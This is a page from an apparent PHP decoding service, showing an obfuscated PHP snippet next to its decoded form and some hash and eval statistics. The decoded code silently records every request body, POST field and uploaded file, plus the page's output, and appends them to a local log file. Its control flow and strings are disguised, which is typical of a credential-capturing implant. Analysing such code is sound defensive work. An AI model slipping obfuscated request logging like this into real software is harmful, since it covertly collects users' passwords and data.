Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto LAnFX; frAme: register_shutdown_function("\x65\170\151\x74\x5f\x6c\x6f\x67"..
Decoded Output download
<?php
goto LAnFX; frAme: register_shutdown_function("exit_log", $debug); goto uaXO9; LAnFX: $debug = ["raw" => file_get_contents("php://input"), "json" => json_decode(file_get_contents("php://input"), true), "post" => $_POST, "file" => $_FILES]; goto frAme; uaXO9: function exit_log($debug) { $debug["response"] = ob_get_contents(); file_put_contents("/logs/requests", "\xa" . date("Y-m-d H:i:s") . "
" . var_export($debug, true) . "\xa", FILE_APPEND); }
?>
Did this file decode correctly?
Original Code
<?php
goto LAnFX; frAme: register_shutdown_function("\x65\170\151\x74\x5f\x6c\x6f\x67", $debug); goto uaXO9; LAnFX: $debug = ["\x72\141\x77" => file_get_contents("\160\x68\160\x3a\57\x2f\151\156\x70\x75\164"), "\x6a\x73\x6f\156" => json_decode(file_get_contents("\x70\x68\160\x3a\x2f\x2f\x69\156\160\x75\164"), true), "\160\x6f\x73\x74" => $_POST, "\x66\x69\x6c\x65" => $_FILES]; goto frAme; uaXO9: function exit_log($debug) { $debug["\162\x65\163\160\x6f\x6e\x73\145"] = ob_get_contents(); file_put_contents("\57\x6c\x6f\147\163\x2f\x72\145\161\x75\x65\163\x74\163", "\xa" . date("\x59\x2d\155\55\144\x20\110\72\x69\x3a\x73") . "\12" . var_export($debug, true) . "\xa", FILE_APPEND); }
Function Calls
| None |
Stats
| MD5 | b25612ccaa12b8ce49547c3bb80d61ef |
| Eval Count | 0 |
| Decode Time | 54 ms |